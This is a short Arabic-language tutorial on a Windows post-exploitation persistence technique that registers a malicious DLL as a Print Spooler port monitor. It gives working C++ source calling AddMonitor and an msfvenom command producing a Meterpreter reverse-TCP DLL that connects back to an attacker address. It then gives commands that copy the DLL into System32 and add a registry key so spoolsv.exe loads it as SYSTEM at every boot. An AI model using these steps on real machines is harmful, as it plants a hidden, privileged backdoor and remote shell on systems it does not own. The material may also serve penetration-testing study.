
A old way to Persistence
يُستخدم لتحقيق الثبات (Persistence) في الصلاحيات أثناء مرحلة ما بعد الاستغلال (Post-Exploitation)
الخطوة 1: قم بتنزيل هذا المشروع، ثم قم بتجميع Monitor.cpp باستخدام Visual Studio، ويمكنك بالطبع استخدام النسخة المجمّعة مسبقًا. كود Monitor.cpp كما يلي:
#include "Windows.h"
int main() {
MONITOR_INFO_2 monitorInfo;
TCHAR env[12] = TEXT("Windows x64");
TCHAR name[12] = TEXT("Monitor");
TCHAR dll[12] = TEXT("test.dll");
monitorInfo.pName = name;
monitorInfo.pEnvironment = env;
monitorInfo.pDLLName = dll;
AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
return 0;
}
الخطوة 2: استخدم Msfvenom لتوليد حمولة هجومية بصيغة dll:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.188.129 LPORT=4444 -f dll > shell.dll

الخطوة 3: انسخ shell.dll إلى دليل system32 على الجهاز الهدف، ثم أعد تسميته إلى test.dll (أي PDLLName المذكور أعلاه، ويمكنك تعديله إلى ما يناسبك، الأمر متروك لك تمامًا)
copy C:\temp\shell.dll C:\Windows\System32\test.dll

الخطوة 4: بعد ذلك، ادخل إلى دليل system32 ونفّذ الأمر التالي (Monitors.exe هو الملف الذي تم تجميعه مسبقًا، ويجب وضعه أيضًا في دليل system32):
Monitors.exe

الخطوة 5: بعد ذلك، يتم استلام جلسة Meterpreter بنجاح

لتحقيق الثبات (Persistence)، نحتاج إلى تعيين مفتاح (key) في موقع التسجيل "Monitors":
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
بعد ذلك، نفّذ الأمر التالي في سطر الأوامر لإنشاء إدخال في التسجيل (Registry)، حيث سيحتوي هذا الإدخال على القيمة test.dll. تحقق من إنشاء المفتاح من خلال عرض التسجيل في المحرر:
reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ

عند إعادة التشغيل التالية، ستقوم عملية spoolsv.exe بتحميل جميع ملفات DLL الخاصة ببرامج التشغيل الموجودة في إدخال التسجيل Monitors والمخزنة في مجلد System32 الخاص بـ Windows. يوضح الشكل أدناه أن جلسة Meterpreter قد أنشأت صلاحيات بنفس مستوى خدمة Print Spooler (SYSTEM)، وتم التنفيذ من مجلد System32
